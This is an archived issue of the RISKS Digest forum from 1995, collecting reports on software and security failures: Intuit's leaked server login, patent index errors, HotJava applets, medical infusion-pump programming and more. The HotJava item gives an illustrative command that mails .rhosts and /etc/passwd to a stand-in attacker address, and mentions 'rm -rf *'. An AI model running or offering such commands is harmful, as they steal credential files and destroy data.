| University of Bielefeld - Faculty of technology | |
|---|---|
|
Networks and distributed Systems
Research group of Prof. Peter B. Ladkin, Ph.D. |
|
| Back to Abstracts of References and Incidents | Back to Root |
| This page was copied from: http://catless.ncl.ac.uk/Risks/17.01.html | |
ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator
Intuit's Macintax security lapse...
Patent searchers frustrated by computer index errors
Sun's "Hot Java" will execute its code on your browser
Beakman's World on CBS covers bugs
A slight change in flight plan
Europe open border - serious bug in procedure
RISKS of non-standard interfaces (medical)
More risks of non-standard medical interfaces
Risks of doing date arithmetic *with* floating point
YAOGMV (Yet Another Overhyped Government/Media Virus)
Info on RISKS (comp.risks), contributions, subscriptions, FTP, etc.
Contending for software screw-up of the year, Intuit Inc., publishers of Macintax, have copped to yet another flaw in their tax reporting software. According to an article by Peter Lewis in The New York Times, 24 Mar 1995, information [password, phone number] included in a Macintax debug file that came with the standard distribution disks of the product enabled users to log into the master computer used by Intuit to store and file Macintax user's returns.
Once logged into the master computer, a user could reportedly download, modify or delete other people's returns. The offending information was a login ID and password for Intuit's master computer that was apparently included in a debug file in plain text! The security hole was reported by an unidentified user in E-mail to the NYT. Once Intuit was made aware of the screwup they reportedly corrected it, but could give no assurances that any of the 60,000 tax returns in the master computer hadn't been compromised.
Encryption is not used in the Intuit's product [but was intended to be].
[A _Washington Post_ article on 24 Mar 1995] reported that Intuit learned of the problem "yesterday" (apparently Thursday, 23 March) from a customer's call; according to the customer, he had been able to log onto the Unix account and peruse the files there.
Also according to Intuit, the UNIX account is used only as a staging area, and is swept to some other facility every eight hours. Mark Goins (Intuit VP of personal tax group) says that no more than 300 returns are in the account at any time.
A rather scary bit of spin control by Intuit is reported in the article: it quotes Bob Barr (identified as "vice-president of electronic services" at Intuit) as downplaying the exposure:
If a curious customer programmed his or her computer to dial up the number and supplied the password [from the plaintext file], they would have entry to the database holding the files. Even so, Barr said, the person would have to have some familiarity with a computer programming language called UNIX [sic!], which is commonly used on the Internet, to peruse or alter any files.as if knowing how to use UNIX commands is so rare a skill that its use offers security. It is, of course, possible that the reporter mangled Barr's comment, but readers of RISKS-FORUM are all too familiar with what can be done by someone who gets unauthorized access to sensitive data.
This has definitely *not* been a particularly good year for Intuit.
Joe Morris
"Gibberish puts searchers off the scent", New Scientist, 25 February 1995:
[Companies use professional patent searchers to determine the existence of patents covering a particular subject and thus avoid later legal problems. However, the electronic patent indexes contain errors which may give false results in searches.]
In the European Patent Office's index, for example, he found an organic compound in the phthylenone group which is indexed as an "ogthylene-3-one" -probably because the typists hand had slipped one key along the keyboard. [...] Most mysterious of all, Steele [a professional patent searcher] found entries in the EPO's international Inpadoc database for patent applicants called Robaato Uiraaton Furemingu, Uiriamu Bii Reisufuiirudo, Bii Oo Shii Guruupu and Kuringe Fuarama.[Obviously the potential legal problems arising from a faulty index could have serious financial consequences. It also leaves the possibility of a patent office awarding two patents for the same invention to different people if the first patent submitted is mis-indexed.] John GrayBy digging out other patents with cross-indexed numbers, Steele decoded the names as Robert Willerton Fleming, William B. Laceford, the BOC Group and Klinge Pharma.
Inpadoc's headquarters in Vienna automatically collates data from computer tapes supplied by 56 patent offices around the world. The Japanese tapes contain names which have been translated from Western originals into pictorial characters and back again by computer. The result is often gibberish, and there is no provision for human checking.'
[But ogthylene and phthylenone really phthyletate mythpellingth. PGN]
Paraphrased from a feature article above-the-fold on the front page of the *San Jose Mercury News* for 23 March 1995:
"Why Sun thinks Hot Java will give you a lift"My immediate reaction was: this is a bad thing unless the client browser runs the downloaded program in an interpreter that has very limited capabilities. Otherwise a fancy-looking Web page may be sending the equivalent of system("head -999 .rhosts /.rhosts /etc/passwd | mail cracker@hacker.org") or "rm -rf *" to your browser.Sun will be releasing a new Web browser next week that does more than download pictures and text that just sits there. A demo showed a financial planning application with a ticker of selected stocks scrolling across the screen with up-to-the-minute quotes.
The Hot Java browser downloads small software programs, which then run on the client (Sun SPARCstations running Solaris-2.x).
Following the URL in the newspaper article, I found that http://www.sun.com was very slow this morning, and that the real information about the HotJava WebRunner is at http://java.sun.com. The document on "HotJava Security Features" is at URL http://java.sun.com/1.0alpha2/doc/security/security.html and addresses some of these concerns.
Joe Smith MCI Data Services Div, Systems Tech Support (TYMNET Code Gen)
On the 25 March Beakman's World, a young people's "science" show on CBS, they answered a viewer's question about how video games work by showing how to write a simple program. They finished program was as follows:
IF liza hits the button
THEN Lester picks up ball
THEN Lester throws the ball
AT TARGET
This program was not written correctly at first. The first bug was that the programmer, Liza, forgot the line "THEN Lester picks up ball", so the giant lab rat threw his arm with no projectile. This corrected, she tried again having neglected to specify "AT TARGET", leaving the pitcher to throw in all directions but that desired.
As a result, young budding (unemployed) computer programmers were exposed to the concept of risk in the case of incomplete system development.
But the viewers may have already surpassed this programming their home computers.
Tom Janzen - tej@world.std.com USA Distributed Real-Time Data Acquisition S/W for Scientists and Engineers using POSIX, C, C++, X, Motif, Graphics, Audio
I found this in the "Yucks Digest" V5 #10, Fri, 24 Mar 95:
Date: Thu, 16 Mar 95 4:24:29 PST
From: Ric Forrester <ric@visigenic.com>
Subject: A slight change in flight plan
The BBC news at 08.30 reported a slight problem which occurred on the morning of 15 Mar 1995 with the ultra high-tech, packed full of software and therefore utterly wonderful Airbus A340.
Apparently on the final part of its approach to Gatwick, both the pilots
screens went blank, to be replaced by a polite little message saying "Please
wait ...". Somewhat unnerved, the pilots requested that the plane turn
left, but it turned right instead. They then tried to get it to adopt a 3
degree approach to the runway, but it chose a 9 degree plummet instead. At
this point, from the report, they appeared to gain manual control and landed
safely. It is not clear who will pick up the dry-cleaning bill.
Since yesterday a new 'open border' regulation is in power in the so-called Schengen countries. These comprise, as I believe, Belgium, the Netherlands, Germany and France.
With this open border thing, it is not necessary to have a passport or other ID anymore when crossing a border between this group of countries.
There is a check built in of course: on checking in, one gets a paper card with a magnetic strip, this strip containing no personal information, but only a date and time.
On arrival in the other country, one can straight pass through a turnstile, without any ID being checked. ID checks are allowed though.
Anyway, in case of loss of this card, one can present his or her passport and get in.
It seems at least some people have already used another persons paper card to get into a country.
For this reason Paris still has the passport check, even though they are supposed not to.
I wonder how anyone, even politicians, can come up with such a buggy system.
[It is EASY, especially for politicians. PGN]As risk I see not only the possibility of criminals gaining easier access, but also the possibility of 'random' checks on 'suspicious' looking people, i.e., people with a dark(er) skin. Thomas
Ry Jones <ry.jones@mccaw.com> reported an unspecified study and personal experience as argument in favor of "standard" interfaces for medical equipment. It is not controversial that such "standards" would be a good idea, most of the discussion of designing and implementing such standards amounts to Mom-and-apple-pie type statements. Indeed, I have been critical (Cook et al., Evaluating the Human Engineering of Microprocessor Controlled Operating Room Devices, Journal of Clinical Monitoring 7:217-226,1991) of attempts to introduce human engineering guidelines for medical equipment because such guidelines necessarily represent a least- common-denominator approach an end up ignoring the real cognitive consequences of using microprocessor based technology. Indeed, successful standards (e.g. the ASTM's standard for the color and type on user applied drug labels for syringes used during anesthesia, the ANSI standards for anesthesia machine layout, color and pin index coding of gas lines, etc.) are nearly all related to narrow mechanical issues and represent the rather stable consensus of manufacturers and users regarding a very limited range of issues.
To claim that a certain improvement in human performance would be achieved by the production of a certain sort of standardization is assuredly untrue. As indicated above, it is nearly impossible to produce such standards. More importantly, the claim that a certain benefit can be obtained is simply weak counterfactual reasoning; it assumes that performance is derived from narrow limitations and that these can readily be overcome for all practitioners. There is, to my knowledge, no reliable or persuasive data suggesting that this is true in any real sense. Even in similarly complex, high consequence domains (e.g. commercial aviation, military systems, nuclear power plant operations) where efforts to produce such improvements have been intense and sustained there are virtually no credible studies indicating quantity of benefit derived from such standardization.
Many people who have only peripheral exposure to medicine are amazed at the technological complexity of current practice. It is clear that devices pose a problem for operators, in part because they are poorly designed and poorly manufactured (cf. Cook, et al., Unintentional Delivery of Vasoactive Drugs With and Electromechanical Infusion Device. Journal of Cardiothoracic and Vascular Anesthesia 6: 238-244, 1992, Cook & Woods, Adapting to New Technology in the Operating Room, in press) defining precisely how they are bad demands detailed knowledge of the cognitive consequences of aspects of their design which, in turn, requires detailed understanding of the cognitive tasks of their users. It is far from easy to produce adequate guidance for the development of devices or for their evaluation, although the FDA is interested in doing so.
The nature of the problem with infusion devices and their programming is actually quite common and the problems associated with their use are many. What is remarkable, for those of us who study these issues, is that human practitioners are able to make these devices work despite the variety of circumstances and limitations under which they are employed. Most pumps reflect a narrow balance between competing demands on designers. I have a nice figure that will be in a paper to be published late this year on the subject. Briefly, there is competition between capability of the device, the complexity introduced by managing capability, and engineering issues, especially power budget and display cost. The risks of infusions are too numerous to list here but one problem is the consequence of a mechanical infusion into a non-intravascular space. IV catheters can become "infiltrated" in which case the infusion is no longer intravenous but subcutaneous (or intramuscular, etc.) with associated consequences. The use of gravity to drive fluids sets and upper limit on applied pressure and hence on the likely consequences of infiltration: in most cases, an infiltrated IV simply stops running and is replaced. Resistance to fluid flow, however, follows Poiseuille's law and is proportional to the fourth power of the radius. Thus flows through small IVs are limited and higher pressures are needed and a pump may be used, although the risk of forcing fluid into an infiltrated IV is now present. Pumps are designed with various control parameters, including the maximum permissible pressure applied to the fluid and this value is (for some) programmable. It is quite possible to have an undesirable set of circumstances when infusing fluids under pressure (e.g. the mass effect of a liter of fluid in the subcutaneous space of the arm can cause vascular compromise and subsequent tissue loss, some drugs are toxic to tissue and must be diluted by high blood flow and infusion of these into the non-vascular space can cause limb loss, etc. etc etc.) so pump manufacturers are understandably chary of these settings and many pumps have elaborate programming requirements. The point is that resolving these sorts of problems is non-trivial.
The notion of "standard" for everything is superficially attractive, but most often the desire reflects a form of magical, wishful thinking: if things were simple there wouldn't be a problem so our task is to make them simple. But things are complicated because the world is complicated and we are doing complicated things. Indeed, I would argue (see first ref. above), that much of the problem we have with medical devices is the result of designers attempting to produce a device surface that _appears_ simple but actually hides a wealth of complexity. I sometimes call this the "thin, thin, thin computer candy shell" that hides the device from the user. Unfortunately, the user is still responsible for the operation of the device and (see 2nd ref) for diagnosing device failures. This problem is not addressed by standards or guidelines but rather by a prudent and detailed approach to design (viz. Norman's books, Rasmussen's books, etc.).
Richard I. Cook, MD ** Department of Anesthesia ** University of Chicago
Incorrect use of IV pumps in hospitals can be much more serious than the different needle sizes recently mentioned by Ry Jones. To permit patients to get pain relief without waiting for the nurses there are devices known as PCAs (Patient Controlled Administration). These are computer controlled infusers which are piggy-backed onto an IV line. They can be programmed to deliver a certain continuous dosage and to permit the patient to press a button for additional pain reliever in specified amounts at specified intervals. This should permit them to insure that no more than a prescribed dose is given during any time interval. These devices also record a history log which can be used to determine how often the patient is demanding the drug. And the front panel locks to prevent the patient from modifying the dosage.
The (semi-)standardized interface to these is that all analgesics must come in 30 ml syringes in order to fit the pump mechanism. The problem with this is that different analgesics come in different concentrations. Demerol comes as 10 mg/ml, but morphine is 1 mg/ml, etc. The PCA interface requires the dosages to be specified in mg per unit time, but the PCA itself can only measure ml, so in addition to all the dosage information the nurse must also tell the PCA what is the concentration of the drug in the syringe.
Recently I witnessed an incident where an entire day's worth of Demerol was infused in 2 hours. After administering an antidote, two nurses tried to figure out what had gone wrong. One of them explained to the other that the programmed concentration had been 1 mg/ml instead of 10 mg/ml, so the PCA had delivered the drug 10 times faster than prescribed in order to satisfy its instructions. The RISKS of this are pretty obvious.
Steve Allen UCO/Lick Observatory Santa Cruz, CA 95064 sla@lick.ucsc.edu Voice: +1 408 459 3046 FAX: +1 408 454 9863 Notice: The lick.ucsc.edu domain is now changing to ucolick.org
> But the error probably wouldn't have existed in the first place
> if the conversion code had been written with floating point instead
> of integer arithmetic.
Excuse me? I hate to climb on my soapbox again, but this shows a remarkable misunderstanding of both floating-point (in)accuracy and date conversion. Dates as measured by computers are inherently integers, and thus should *never* be manipulated using floating-point code. If you're representing down to seconds, you can fit nearly 70 years into 32 bits (cf. Unix). If you need more than that, it's very easy to use a 64-bit representation, and convert it to two 32-bit quantities (such as julian date plus seconds within year) early in the manipulation, even if your computer doesn't support 64-bit arithmetic. If you need high resolution (e.g., nanoseconds) you might need to use 96 bits, but it's still trivial to break things down into quantities that are easily handled. I'll agree that the 48-bit manipulation in assembly was probably convoluted, but floating-point is not the proper solution. It makes me shudder.
Geoff Kuenning g.kuenning@ieee.org geoff@ITcorp.com
The papers are reporting that potential disaster has been averted in the Canadian financial community. 5200 disks containing information on the Canadian Federal Budget were pulled, only hours before they were due to be shipped, when a virus was discovered on them. ThunderByte Scan is being credited, since the master disk was allegedly checked twice before leaving the Finance Department, and ThunderByte is an "advanced" antiviral product.
There are, however, a few questions to be answered. How come nobody checked *before* they made 5200 copies? Is it possible that the duplication machine was infected? (Unlikely: duplicators usually have specialized equipment. But possible.) And, what virus was found?
Ah, this last is the cruncher. Nobody has said what virus it was, yet lots of people are saying that computers across the country could have been shut down. In actual fact, nobody *knows* what virus was found. The closest report I have been able to get from a knowledgeable source (and that source is none to close) reports that ThunderByte reported an *unknown* boot sector infector. (Remember, ThunderByte is an "advanced" antiviral. It uses heuristics. It's guessing.) It is possible that ThunderByte has detected a new, and previously unknown, virus.
It is also possible that there is no virus at all. #
It is very likely that we never will know whether there was a virus or not. Although press reports indicate that the RCMP is investigating, a lot of other people appear to have done their own investigations first. Thus, if the disks *are* found to be infected, who knows *where* they got infected.
DECUS Canada Communications, Desktop, Education and Security group newsletters
| This page was copied from: | http://catless.ncl.ac.uk/Risks/17.01.html |
| COPY! | |
| COPY! | |
|
by Michael Blume |